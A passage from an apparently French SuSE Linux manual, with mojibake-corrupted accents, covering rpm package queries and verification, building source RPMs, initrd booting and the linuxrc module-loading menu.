--scripts Afficher les divers scripts d'installation ou de dΘsins-
tallation
______________________________________________________________________________________________________________________
Tab. 15.1: Les principales options pour faire des requΩtes (-q [-p ] : : :
<paquetage>)
La commande
terre: # rpm -q -i rpm
affiche l'information, que l'on peut voir dans l'affichage 15.3.1 page suivante
L'option -f ne vous conduira au but que si vous connaissez le nom de fichier
complet, y compris le chemin d'accΦs. Vous pouvez spΘcifier n'importe quel
nombre de noms de fichiers α retrouver, par exemple :
terre: # rpm -q -f /bin/rpm /usr/bin/wget
donnera le rΘsultat
rpm-3.0.3-3
wget-1.5.3-55
Si l'on ne connait qu'une partie du nom du fichier, on devra avoir recours α
un shell (voir fichier 15.3.1 page suivante). Le nom de fichier recherchΘ devra
Ωtre transmis sous forme de paramΦtre au lancement du script.
Avec la commande
*
* 417
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| Name : rpm Relocations: (not relocateable) *
* |
|| Version : 3.0.3 Vendor: SuSE GmbH, Germany *
* ||
| Release : 47 Build Date: Fri Dec 10 13:50:27 *
* |
| Install date: Tue Dec 14 12:57:00 1999 Build Host: Cauchy.suse.de *
* |
| Group : unsorted Source RPM: rpm-3.0.3-47.src.rpm *
* |
| *
* |
| Size : 5740847 License: GPL *
* |
| Packager : feedback@suse.de *
* |
| Summary : RPM Package Manager *
* |
| Description : *
* |
| *
* |
| RPM Package Manager is the main tool for managing software packages *
* |
| of the SuSE Linux distribution. *
* |
| [...] *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 15.3.1: rpm -q -i rpm
________________________________________________________________________________________________________*
*________||
| *
* |
| #! /bin/sh *
* |
| for i in `rpm -q -a -l | grep $1 `; do *
* |
| *
* |
| echo "\"$i\" est dans le paquetage:" *
* |
| rpm -q -f $i *
* |
| echo "" *
* |
| done *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 15.3.1: Script de recherche de paquetages
terre: # rpm -q --changelog rpm
on peut obtenir l'affichage des informations (mises α jour, configuration,
modifications, etc.) concernant un paquetage dΘterminΘ. Il s'agit dans notre
exemple du paquetage rpm.
Il est possible, au moyen de la base de donnΘes, d'effectuer aussi des
contr⌠les. Ces procΘdures seront mises en route par l'option -V (qui a la
mΩme signification que -y ou --verify ). On amΦne ainsi rpm α montrer
tous les fichiers qui ont subi des modifications par rapport α la version d'ori-
gine telle qu'elle Θtait contenue dans le paquetage. Devant le nom de fichier
proprement dit, rpm place un maximum de 8 caractΦres qui indiquent les
modifications suivantes :
_______________________________________________________________________________________________________*
*_________
5 Somme de contr⌠le MD5
S Taille du fichier
L Lien symbolique
T Temps de modification
D NumΘro de pΘriphΘrique (angl. device number) ``majeur'' et ``mineur''
U Utilisateur (angl. user)
G Groupe (angl. group)
M Mode (y compris les droits et le type)
_______________________________________________________________________________________________________*
*_________
Tab. 15.2: Les contr⌠les
418
____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
*______________________
Pour les fichiers de configuration il sera ajoutΘ un c . Exemple : Si une modi-
fication a ΘtΘ apportΘe α /etc/wgetrc du paquetage wget :
terre: # rpm -V wget
S.5....T c /etc/wgetrc
Les fichiers de la base de donnΘes RPM sont situΘs sous /var/lib/rpm.
Dans le cas d'une partition /usr de 500 Mo, la base de donnΘes peut trΦs
bien nΘcessiter 20 Mo d'espace disque, tout particuliΦrement aprΦs une mise
α jour complΦte. Si la base de donnΘes semble plus grande qu'elle ne devrait,
il est trΦs souvent efficace de crΘer une nouvelle base de donnΘes α partir de
l'ancienne avec l'option --rebuilddb . Et il n'est pas inutile, avant une telle
reconstruction (angl. rebuild), de conserver une copie de la base de donnΘes
dΘjα existante.
Par ailleurs, le script du cron.daily dΘpose journellement des copies com-
pressΘes de la base de donnΘes sous /var/adm/backup/rpmdb. Le nombre
de ces copies est dΘterminΘ par la variable <MAX`RPMDB`BACKUPS>
(standard : 5 ) dans le fichier /etc/rc.config. On peut s'attendre α ce que
chaque sauvegarde demande jusqu'α 2 Mo (pour un fichier /usr de la taille
de 500 Mo). Il faut absolument tenir compte de la place requise lors de la dΘ-
termination de la taille de la partition racine si l'on ne veut pas prΘvoir pour
/var une partition sΘparΘe.
15.3.3 Installer et compiler les paquetages sources
Tous les paquetages sources de SuSE Linux se trouvent dans la sΘrie zq
(Paquetages sources) et le nom proprement dit des paquetages est suivi de
l'extension .spm. Ces fichiers sont ce que l'on appelle les ``sources RPM''.
_______________________________________________________________________________________________________________________||
|||||||| Ces paquetages ~ comme tous les autres ~ peuvent Ωtre installΘs par YaST . ||| |
|||||||| || |
|||||||| Toutefois les paquetages sources ne sont jamais marquΘs pour l'installation || |
|||||||| || |
|||||||| ([i] ) comme les autres paquetages ``rΘguliers''. Ceci est d√ au fait que les || |
|||||||| paquetages sources ne sont pas prΘsents dans la base de donnΘes RPM. || |
|||||||| || |
|||||||| Seuls apparaissent, dans la base de donnΘes RPM, les logiciels utilitaires || |
|||||||| installΘs. || |
||||||||_______________________________________________________________________________________________________________||_
Les rΘpertoires de travail de rpm sous /usr/src/packages doivent Ωtre prΘ-
sents (α moins que vous n'ayez fait vos propres configurations, par exemple
α travers /etc/rpmrc) :
SOURCES pour les sources originaux (fichiers.tar.gz, etc.), et les adap-
tations spΘcifiques α la distribution (fichiers .dif).
SPECS pour les fichiers .spec qui pilotent le processus ``build'' α la maniΦre
d'un mΘta-Makefile.
BUILD au dessous de ce rΘpertoire, les sources sont dΘcompressΘs, patchΘs et
compilΘs.
RPMS c'est ici que sont placΘs les paquetages ``binaires'' prΘparΘs.
SRPMS et ici les paquetages RPM ``source''.
*
* 419
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Ne faites pas d'expΘriences avec RPM sur des composants essentiels du *
* ||||
|| systΦme (paquetage libc, paquetage rpm, paquetage nkit, etc.). Vous *
* ||||
| mettez en jeu la fonctionnalitΘ de votre systΦme. *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
Si vous installez un paquetage source de la sΘrie zq avec YaST , les com-
posants nΘcessaires au processus ``build'' seront installΘes sous /usr/src/
packages : les sources et les adaptations sous SOURCES, et le fichier .spec
qui s'y rapporte sous SPECS2 . Ensuite le paquetage sera examinΘ. AprΦs l'ins-
tallation du paquetage source wget.spm avec YaST , vous avez les fichiers
suivants :
/usr/src/packages/SPECS/wget.spec
/usr/src/packages/SOURCES/wget-1.4.5.dif
/usr/src/packages/SOURCES/wget-1.4.5.tar.gz
Avec rpm -b <X> /usr/src/packages/SPECS/wget.spec , le proces-
sus de compilation est mis en route ; <X> peut symboliser diffΘrents niveaux
(voir l'affichage ~help ou la documentation RPM. Ici, un bref rΘsumΘ :
-bp prΘparer les sources dans le rΘpertoire /usr/src/packages/BUILD :
dΘcompresser et patcher.
-bc identique α -bp mais compile en plus.
-bi identique α -bc mais installe en plus. Attention, si un paquetage ne sup-
porte pas la fonctionnalitΘ BuildRoot, il est possible que pendant le pro-
cessus d'installation d'importants fichiers de configuration soient Θcra-
sΘs !
-bb identique α -bi mais crΘe encore en plus le RPM binaire. Si tout a rΘussi,
il se trouve dans /usr/src/packages/RPMS.
-ba identique α -bb mais crΘe encore en plus le RPM source. Si tout a rΘussi,
il se trouve sous /usr/src/packages/SRPMS.
Avec l'option ~short-circuit , on peut sauter certaines phases,
Le RPM binaire qui a ΘtΘ crΘΘ doit ensuite Ωtre installΘ avec rpm -i , ou mieux
encore avec rpm -U , afin qu'il apparaisse dans la base de donnΘes RPM.
15.3.4 Outils pour archives et base de donnΘes RPM
Le Midnight Commander (mc ) est capable par lui-mΩme d'afficher le contenu
d'une archive RPM ou d'en copier des extraits. Il reproduit une telle archive
sous forme d'un systΦme de fichiers virtuel, de telle sorte que toutes les op-
tions du_menu du Midnight Commander sont disponibles en cas de besoin.
Avec |___F|3, on peut visualiser les informations_de_la ligne d'en-tΩte du ``fichier''
HEADER ; avec les touches du curseur et |E_________|ntrΘeon peut explorer_la structure
de l'archive pour en copier, le cas ΘchΘant, des extraits avec |F___|5. ~ Il existe
aussi maintenant pour Emacs un rpm.el qui est un ``frontal'' de rpm :-)
xrpm est le nom d'un gestionnaire graphique RPM. Cet outil est rΘalisΘ en
Python qui est un ΘlΘgant langage de script. xrpm supporte les actions via
FTP._________________________________________
2 Pour la ``construction des paquetages'' (angl. build mode) voir [Bai97 ] ainsi que la page de man
de rpm (man rpm ). Vous y trouverez d'autres possibilitΘs d'utilisation.
420
____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
*______________________
KDE contient l'outil krpm , une interface graphique sous X servant α mani-
puler RPM. Avec GNOME , vous trouverez gnorpm .
Avec Alien (alien ) il est possible de convertir les formats des paquetages des
diffΘrentes distributions. On peut ainsi essayer, avant d'installer, de convertir
de vieilles archives TGZ vers RPM afin qu'il soit fourni α la base de donnΘes
RPM des informations sur les paquetages pendant l'installation. Mais atten-
tion : alien est un script Perl et il se trouve encore, selon ses auteurs, au
stade Alpha bien qu'il ait dΘjα un numΘro de version avancΘ.
Last, not least ~ YaST existe (voir paragraphe 3.4.9 page 98).
*
* 421
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
422
Chapitre 16
ParticularitΘs sous SuSE Linux
16.1 Filesystem Hierarchy Standard (FHS) et Linux Stan-
dard Base (LSB)
SuSE Linux cherche a Ωtre le plus possible en conformitΘ avec le standard
des systΦmes des fichiers (FSSTD ) ou avec le standard de la hiΘrarchie des
systΦmes de fichiers (FHS, paquetage fhs, sΘrie doc) qui a pris la succes-
sion. Pour cette raison il est parfois nΘcessaire de dΘplacer des fichiers ou
rΘpertoires pour les mettre au ``bon'' endroit dans le systΦme de fichiers.
SuSE soutient activement les efforts du projet Linux Standard Base.
Vous trouverez des informations actuelles sur ce sujet sous http://www.
linuxbase.org.
16.1.1 Environnements exemples pour FTP et HTTP
Pour FTP
Pour simplifier la mise en place d'un serveur FTP, le paquetage ftpdir met α
votre disposition un environnement exemple. Cet environnement est installΘ
sous /usr/local/ftp.
Pour HTTP
Apache est le serveur Web standard de SuSE Linux. SimultanΘment α l'ins-
tallation du serveur Apache , des documents exemples sont mis α disposi-
tion sous /usr/local/httpd. Si vous voulez construire votre propre ser-
veur Web, il est recommandable d'enregistrer votre DocumentRoot person-
nel dans /etc/httpd/httpd.conf.
16.1.2 teTeX ~ TE X sous SuSE Linux
teTeX a ΘtΘ ΘlaborΘ selon la TEX Directory Structure (TDS) (voir ftp://
ftp.dante.de/tex-archive/tds/) sans enfreindre la norme FHS.
*
* 423
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
16.2 Amorτage avec le ``disque virtuel initial''
ExposΘ du problΦme
DΦs que le noyau Linux est chargΘ et que le systΦme de fichiers racine (/) est
montΘ, il est possible d'exΘcuter des programmes et d'insΘrer des modules du
noyau pour pouvoir disposer de fonctionnalitΘs supplΘmentaires.
Mais pour qu'il soit possible de monter le systΦme de fichiers racine, diverses
conditions doivent Ωtre remplies : Le noyau a besoin de pilotes adΘquats
(particuliΦrement de pilotes SCSI) pour pouvoir accΘder au pΘriphΘrique sur
lequel est situΘ le systΦme de fichiers racine. Le noyau doit en outre contenir le
code nΘcessaire α la lecture du systΦme de fichiers (ext2 , reiserfs , romfs ,
etc.). Il peut aussi arriver que le systΦme de fichiers racine soit encodΘ. Pour
le montage il est alors indispensable d'entrer la clΘ/le mot de passe.
Si l'on considΦre le problΦme des pilotes SCSI, il est possible d'envisager
diffΘrentes solutions : Le noyau peut contenir tous les pilotes possibles et
imaginables. Ceci est problΘmatique car les diffΘrents pilotes peuvent entrer
en conflit les uns avec les autres et le noyau devient en outre trΦs gros. Une
autre solution consiste α mettre α disposition diffΘrents noyaux dont chacun
contient seulement un nombre trΦs limitΘ de pilotes SCSI, voire mΩme un seul.
Cette mΘthode est Θgalement problΘmatique car elle requiert un trΦs grand
nombre de pilotes diffΘrents. Ce problΦme est encore accentuΘ par les noyaux
optimisΘs de maniΦre diffΘrente (optimisation Pentium, SMP).
La tentative de charger le pilote SCSI sous forme de module conduit α la
problΘmatique gΘnΘrale rencontrΘe en raison du concept du disque virtuel
initial : Pouvoir exΘcuter des programmes userspace avant le montage du
systΦme de fichiers racine.
16.2.1 Concept du disque virtuel initial
Le disque virtuel initial (appelΘ aussi ``initdisk'' ou ``initrd'') provoque les
problΦmes dΘcrits prΘcΘdemment. Le noyau Linux donne la possibilitΘ de
faire charger un (petit) systΦme de fichiers dans un disque virtuel et d'y faire
exΘcuter des programmes avant que le systΦme de fichiers racine proprement
dit ne soit montΘ. Le chargement d'initrd est assumΘ par le gestionnaire
d'amorτage (LILO , loadlin etc.). Ces gestionnaires d'amorτage requiΦrent
seulement les routines du BIOS pour charger des donnΘes depuis le support
d'amorτage. Si le gestionnaire d'amorτage peut charger le noyau, il peut
aussi charger le disque virtuel initial. Des pilotes spΘciaux ne sont donc pas
nΘcessaires.
16.2.2 DΘroulement du processus d'amorτage avec initrd
Le gestionnaire d'amorτage charge le noyau et initrd en mΘmoire et dΘ-
marre le noyau. Lors de cette procΘdure, le gestionnaire d'amorτage fait sa-
voir au noyau qu'il existe un initrd et lui indique son emplacement en mΘ-
moire.
Si initrd a ΘtΘ compressΘ (ce qui est gΘnΘralement le cas), le noyau le dΘ-
compresse et le monte comme systΦme de fichiers temporaire. AprΦs cela,
424
____________________________________________________________16.2.__Amorτage_avec_le_``disque_virtuel_initial''______________*
*______________________
un programme du nom de linuxrc est lancΘ dans initrd. Ce programme
peut faire tout ce qui est nΘcessaire pour monter le vΘritable systΦme de fi-
chiers racine. DΦs que linuxrc se termine, le systΦme de fichiers (temporaire)
initrd est dΘmontΘ et le processus d'amorτage est poursuivi de la maniΦre
habituelle avec le montage du vΘritable systΦme de fichiers racine. Le mon-
tage d'initrd et l'exΘcution de linuxrc peuvent Ωtre ainsi Ωtre considΘrΘs
comme un bref intermΦde dans un processus d'amorτage normal.
Si initrd ne peut pas Ωtre dΘmontΘ (ce que l'on considΦre en gΘnΘral comme
Θtant le rΘsultat d'une erreur), le noyau tente de remonter initrd sur le rΘper-
toire /initrd. Si le point de montage /initrd n'est pas non plus prΘsent,
il apparaεt un message d'erreur. Le systΦme est dans un tel cas pleinement
fonctionnel mais l'espace mΘmoire occupΘ par initrd ne peut pas Ωtre libΘrΘ
et n'est donc plus disponible.
linuxrc
Pour le programme linuxrc dans initrd il n'existe que les obligations sui-
vantes : Il doit porter explicitement le nom de linuxrc et doit se trouver
dans le rΘpertoire racine d'initrd. Outre cela, il ne doit Ωtre exΘcutΘ que
par le noyau. Cela signifie que linuxrc peut parfaitement Ωtre liΘ dynami-
quement. Dans ce cas, les ``bibliothΦques partagΘes'' doivent bien s√r Ωtre
comme d'habitude complΦtement disponibles sous /lib dans initrd. Le
programme linuxrc peut aussi Ωtre un script shell. Dans ce cas il doit bien
entendu exister un + shell dans /bin. En rΘsumΘ, initrd doit contenir un
systΦme Linux minimal permettant l'exΘcution du programme linuxrc . Lors
de l'installation de SuSE Linux, on utilise un linuxrc liΘ statiquement afin de
pouvoir maintenir initrd aussi petit que possible (la place sur les disquettes
d'amorτage est trΦs juste). linuxrc est exΘcutΘ avec les droits de `root'.
Le vΘritable systΦme de fichiers racine
DΦs que linuxrc est terminΘ, initrd est dΘmontΘ et rejetΘ. Le processus
d'amorτage suit normalement son cours et le noyau monte le vΘritable sys-
tΦme de fichiers racine. Ce qui doit Ωtre montΘ comme systΦme de fichiers
racine peut Ωtre dΘterminΘ par linuxrc . Il suffit pour cela que linuxrc monte le
systΦme de fichiers /proc et Θcrive la valeur du vΘritable systΦme de fichiers
racine sous forme numΘrique dans /proc/sys/kernel/real-root-dev.
16.2.3 Gestionnaires d'amorτage
La plupart des gestionnaires d'amorτage (particuliΦrement LILO , loadlin et
syslinux ) peuvent utiliser initrd. Voici comment on fait savoir aux diffΘ-
rents gestionnaires d'amorτage qu'ils doivent utiliser initrd :
1. LILO
EntrΘe de la ligne suivante dans /etc/lilo.conf :
Le fichier /boot/initdisk.gz est le disque virtuel initial. Il peut (mais
ne doit pas obligatoirement) Ωtre compressΘ.
2. loadlin.exe
Appel au moyen de :
C:> loadlin <kernelimage> initrd=C:\loadlin\initdisk.gz <paramΦtre>
*
* 425
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| *
* |
|| initrd=/boot/initdisk.gz *
* ||
| *
* |
|_______________________________________________________________________________________________________*
*________ |
3. syslinux
EntrΘe de la ligne suivante dans syslinux.cfg :
________________________________________________________________________________________________________*
*________
| *
* |
| append initrd=initdisk.gz <paramΦtres supplΘmentaires> *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
16.2.4 Utilisation d'initrd avec SuSE
Installation du systΦme
initrd est dΘjα mis en oeuvre depuis longtemps pour l'installation : L'utili-
sateur peut charger des modules sous linuxrc et faire les entrΘes nΘcessaires α
l'installation, comme (tout particuliΦrement) le support source. linuxrc lance
alors YaST qui effectue l'installation. Lorsque YaST a fait son travail, il com-
munique α linuxrc l'emplacement du systΦme de fichiers racine nouvellement
installΘ. linuxrc Θcrit cette valeur dans /proc et termine son exΘcution. Le
noyau continue d'amorcer dans le nouveau systΦme.
Lors de l'installation de SuSE Linux, on amorce donc ainsi pratiquement dΦs
le dΘbut le systΦme que l'on installe ~ c'est plut⌠t chic ;-) Un vΘritable rΘ-
amorτage aprΦs l'installation n'a lieu que si le noyau n'est pas en harmonie
avec les modules qui ont ΘtΘ installΘs dans le systΦme. Comme SuSE Linux
utilise actuellement, pendant l'installation, un noyau pour systΦmes monopro-
cesseurs, ceci ne se produit que s'il a ΘtΘ installΘ dans le systΦme un noyau
SMP avec les modules correspondants. Pour qu'il soit possible d'utiliser tous
les modules, le noyau SMP nouvellement installΘ dans le systΦme doit Ωtre
rΘamorcΘ.
Amorτage du systΦme installΘ
Autrefois, YaST proposait pour l'installation plus de 40 noyaux qui se diffΘ-
renciaient les uns des autres par le fait que chacun contenait un pilote SCSI
particulier. Cela Θtait nΘcessaire pour pouvoir monter le systΦme de fichiers
racine aprΦs l'amorτage. D'autres pilotes pouvaient Ωtre chargΘs ensuite sous
forme de modules.
Comme α prΘsent des noyaux optimisΘs sont aussi disponibles, ce concept
n'est plus acceptable ~ plus de 100 images de noyaux seraient maintenant
nΘcessaires.
On utilise donc aussi initrd pour dΘmarrer normalement le systΦme. La pro-
cΘdure est analogue α celle d'une installation. Ici cependant, linuxrc n'est
qu'un script shell qui a pour seule tΓche de charger quelques modules dΘter-
minΘs. En gΘnΘral, il ne s'agit que d'un seul module qui est le pilote SCSI
nΘcessaire pour pouvoir accΘder au systΦme de fichiers racine.
426
____________________________________________________________16.2.__Amorτage_avec_le_``disque_virtuel_initial''______________*
*______________________
CrΘation d'un initrd
La crΘation d'un initrd se fait au moyen du script mk_initrd . Les modules
α charger sont dΘterminΘs sous SuSE Linux par la variable INITRD_MODULES
dans /etc/rc.config. AprΦs l'installation il est automatiquement attribuΘ
α cette variable des valeurs exactes (le linuxrc utilisΘ pour l'installation sait
en effet quels modules ont ΘtΘ chargΘs). Il convient de prΘciser que les mo-
dules sont chargΘs exactement dans l'ordre dans lequel il apparaissent dans la
variable INITRD_MODULES . Ceci est tout particuliΦrement important lorsque
plusieurs pilotes SCSI sont utilisΘs car autrement la dΘnomination des disques
serait modifiΘe. Il suffirait en fait de faire charger uniquement le pilote SCSI
requis pour l'accΦs au systΦme de fichiers racine. Comme le chargement auto-
matique de pilotes SCSI supplΘmentaires est cependant problΘmatique (com-
ment pourrait-on ``combiner'' une chose pareille alors que des disques sont
reliΘs au second adaptateur SCSI), tous les pilotes SCSI nΘcessitΘs au cours
de l'installation seront chargΘs au moyen d'initrd.
Le script mk_initrd vΘrifie si un pilote SCSI est nΘcessaire pour l'accΦs au
systΦme de fichiers racine. Si l'on invoque mk_initrd sur un systΦme dans
lequel / est situΘ sur des disques EIDE, il ne crΘera pas d'initrd, celui-ci
n'Θtant pas nΘcessaire du fait que le noyau utilisΘ par SuSE Linux contient
dΘjα les pilotes EIDE. Comme de plus en plus de contr⌠leurs EIDE spΘciaux
font actuellement leur apparition sur le marchΘ, il est α prΘvoir qu'il faudra
α l'avenir utiliser aussi dans ces cas un initrd pour l'amorτage du systΦme
installΘ.
Important : Comme le chargement d'initrd par le gestionnaire d'amorτage
se dΘroule exactement de la mΩme maniΦre que le chargement du noyau lui-
mΩme (LILO inscrit dans son fichier map la position des fichiers), il est in-
dispensable de rΘinstaller LILO aprΦs toute modification apportΘe α initrd !
AprΦs une commande mk_initrd , une commande lilo est donc toujours
nΘcessaire !
16.2.5 DifficultΘs Θventuelles ~ Noyau compilΘ par l'utilisateur
Si vous compilez vous-mΩme un noyau, vous pouvez vous trouver confrontΘ
α certains problΦmes qui apparaissent assez frΘquemment : Pour des raisons
d'habitude, le pilote SCSI est insΘrΘ en permanence dans le noyau mais
initrd demeure inchangΘ. Lors de l'amorτage, il se passe ce qui suit : le
noyau contient dΘjα le pilote SCSI, le matΘriel est reconnu mais initrd es-
saie malgrΘ tout de charger encore une fois le pilote sous forme de module.
Avec certains pilotes (particuliΦrement aic7xxx ), cela provoque un blocage
du systΦme. Il s'agit α proprement parler d'une erreur du noyau (un pilote dΘjα
prΘsent ne doit pas Ωtre chargΘ une deuxiΦme fois sous forme de module) ~ ce
problΦme est cependant dΘjα connu dans un autre contexte (pilotes sΘrie).
Il existe plusieurs solutions α ce problΦme : Il est possible, soit de configu-
rer le pilote comme module (il est alors chargΘ correctement dans initrd),
soit de supprimer de /etc/lilo.conf l'entrΘe pour initrd. Une solution
Θquivalente consiste α supprimer le pilote de la variable INITRD_MODULES et
α invoquer mk_initrd qui constatera alors qu'initrd n'est pas nΘcessaire.
*
* 427
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
16.2.6 Perspectives
Il est pensable qu'α l'avenir initrd soit utilisΘ pour tout un tas de choses d'un
niveau plus ΘlevΘ que le chargement des modules nΘcessaires α l'accΦs α /.
~ Pilotes EIDE ``haut de gamme''
~ SystΦme de fichiers racine sur RAID logiciel (linuxrc fait le nΘcessaire la
mise en fonction des pΘriphΘriques md)
~ SystΦme de fichiers racine sur LVM
~ SystΦme de fichiers racine encodΘ (linuxrc demande le mot de passe)
~ SystΦme de fichiers racine sur un disque SCSI connectΘ α l'adaptateur
PCMCIA
Informations complΘmentaires
/usr/src/linux/Documentation/ramdisk.txt
/usr/src/linux/Documentation/initrd.txt
page de man de initrd (man 4 initrd ).
428
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
16.3 linuxrc
linuxrc est un programme lancΘ pendant la phase de dΘmarrage du noyau
avant que l'amorτage proprement dit ne se fasse1 . Cette propriΘtΘ apprΘciable
que possΦde le noyau permet d'amorcer un petit noyau modulaire et de char-
ger ultΘrieurement, sous forme de modules, les quelques pilotes peu nom-
breux dont on a vraiment besoin ~ en cas de nΘcessitΘ absolue, mΩme α partir
d'une deuxiΦme disquette (modules) .
Lors du chargement des pilotes qui gΦrent votre matΘriel, linuxrc vous apporte
son aide. Vous pouvez l'utiliser non seulement pour l'installation mais aussi
comme outil d'amorτage de votre systΦme dΘjα installΘ (comme une sorte
de disquette de secours). Vous pouvez mΩme lancer un systΦme de secours
indΘpendant basΘ sur un disque RAM, dans le cas par exemple o∙ votre disque
dur serait gravement endommagΘ ou tout simplement si vous avez oubliΘ
votre mot de passe `root'. Vous trouverez plus de dΘtails au paragraphe 16.5
page 438.
Menu principal
Lorsque la langue, l'Θcran et le clavier ont ΘtΘ configurΘs, vous arrivez au
menu principal de linuxrc (voir figure 2.3 page 30).
Le but α atteindre est l'option du menu `DΘmarrer l'installation / le
systΦme'. Il dΘpend du matΘriel de votre machine que vous puissiez vous
diriger directement vers celui-ci :
Si tous les composants nΘcessitΘs pour une installation ont dΘjα ΘtΘ reconnus
par le noyau, vous n'aurez pas besoin de charger d'autres pilotes. C'est le cas
pour les machines qui disposent uniquement de disques durs et de lecteurs de
CD-ROM connectΘs α un adaptateur (E)IDE.
Si le systΦme possΦde un adaptateur SCSI nΘcessitΘ pour l'installation 2 il
faudra charger un module SCSI. Il en sera de mΩme si l'installation doit
se faire par le rΘseau : Dans ce cas, il faudra d'abord charger un module
appropriΘ pour la carte rΘseau α utiliser.
Enfin, il existe encore toute une gamme d'anciens lecteurs de CD-ROM qui
ont ΘtΘ livrΘs avec leur propre carte contr⌠leur et qui requiΦrent de ce fait
leurs propres modules du noyau. Vous devrez Θgalement charger des modules
si vous utilisez un laptop ΘquipΘ de phΘriphΘriques PCMCIA.
Informations sur le systΦme
Si vous ne savez pas avec certitude quel matΘriel possΦde votre machine, les
messages du noyau affichΘs pendant l'amorτage peuvent vous aider.
Sous `Informations sur le systΦme' (figure 16.1 page suivante) vous
pouvez, en plus des messages du noyau, vΘrifier encore d'autres choses telles
que les adresses d'E/S des cartes PCI ou la quantitΘ de mΘmoire centrale qui
a ΘtΘ reconnue par Linux.
1 ____________________________________________________
Bien entendu, le noyau doit Ωtre configurΘ de faτon adΘquate.
2 Un adaptateur sur lequel n'est branchΘ qu'un seul scanner pourra, a priori, ne pas entrer en
ligne de compte.
*
* 429
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Fig. 16.1: Informations sur le systΦme
Les lignes suivantes montrent comment se manifestent un disque dur et un
lecteur de CD-ROM connectΘs α un adaptateur EIDE. Dans ce cas vous n'avez
pas α charger de modules du noyau pour une installation :
hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63
hdb: CD-ROM CDR-S1G, ATAPI CDROM drive
Partition check:
hda: hda1 hda2 hda3 < hda5 >
Si vous avez dΘmarrΘ un noyau dans lequel un pilote SCSI est dΘjα insΘrΘ en
permanence, vous n'aurez bien s√r pas besoin non plus de charger de module
SCSI. Message typique lorsqu'un adaptateur SCSI et les pΘriphΘriques qui y
sont connectΘs sont reconnus :
scsi : 1 host.
Started kswapd v 1.4.2.2
scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II
scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II
Vendor: QUANTUM Model: VP32210 Rev: 81H8
Type: Direct-Access ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI
scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI
Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283
Type: CD-ROM ANSI SCSI revision: 02
scsi : detected 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB]
Partition check:
sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >
Chargement de modules
Vous choisissez le type de modules dont vous avez besoin. Si vous avez
amorcΘ α partir d'une disquette, les donnΘes nΘcessaires seront lues par
linuxrc et elles vous seront prΘsentΘes afin que vous fassiez votre choix.
Si vous avez amorcΘ α partir du CD ou si vous avez redΘmarrΘ α partir de DOS
α l'aide de loadlin , tous les modules sont dΘjα α la disposition de linuxrc . Ceci
430
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
vous Θpargne un chargement qui prend du temps mais vous oblige en revanche
α prΘvoir une plus grande quantitΘ de mΘmoire. Si votre machine a moins de
8 Mo de RAM, il vous faudra amorcer α partir d'une disquette.
Fig. 16.2: Chargement de modules
linuxrc vous propose une liste des pilotes disponibles. └ gauche, vous voyez
le nom du module concernΘ et α droite, une brΦve description du matΘriel gΘrΘ
par ce pilote.
Pour certains composants, il existe plusieurs pilotes ou des pilotes expΘrimen-
taux plus rΘcents. Ceux-ci vous sont Θgalement proposΘs.
Fig. 16.3: Choix des pilotes SCSI
EntrΘe des paramΦtres
Si vous avez trouvΘ_le_pilote qui gΦre votre matΘriel, positionnez le curseur
et appuyez sur | _____|-. Il apparaεt un masque dans lequel vous pouvez entrer
*
* 431
16. ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
d'Θventuels paramΦtres pour le module α charger. Pour plus d'informations
sur les diffΘrents paramΦtres des modules, reportez-vous au paragraphe 14.3.4
page 383.
Fig. 16.4: EntrΘe des paramΦtres pour le chargement de modules
Nous tenons α prΘciser encore une fois ici que, contrairement aux paramΦtres
entrΘs α l'invite du noyau (LILO ou SYSLINUX), plusieurs paramΦtres pour
un mΩme module doivent Ωtre sΘparΘs par des espaces.
Dans de nombreux cas, une spΘcification exacte du matΘriel n'est pas du tout
indispensable ; la plupart des pilotes dΘtectent d'eux-mΩmes les composants
qu'ils gΦrent. Ce n'est que pour les cartes rΘseaux et pour d'anciens modΦles
de lecteurs de CD-ROM avec leur propre carte contr⌠leur qu'il est trΦs sou-
vent nΘcessaire de spΘcifier__des paramΦtres. Faites d'abord un essai en ap-
puyant tout simplement sur |_____-|.
Avec certains modules, la reconnaissance et l'initialisation_du_matΘriel_peut
durer assez longtemps. En passant α la console 4 (|A____l|t+ |F___|4), vous pourrez
observer les messages du noyau pendant le chargement. Avec les adaptateurs
SCSI tout particuliΦrement, le chargement dure un certain temps car ils at-
tendent que tous les pΘriphΘriques connectΘs se soient manifestΘs.
Si le module a ΘtΘ chargΘ avec succΦs, les messages du noyau seront affichΘs
par linuxrc et vous pourrez ainsi vous assurer que tout s'est passΘ comme
prΘvu. Si ce n'est pas le cas, les messages pourront probablement vous per-
mettre de dΘcouvrir la cause de l'Θchec.
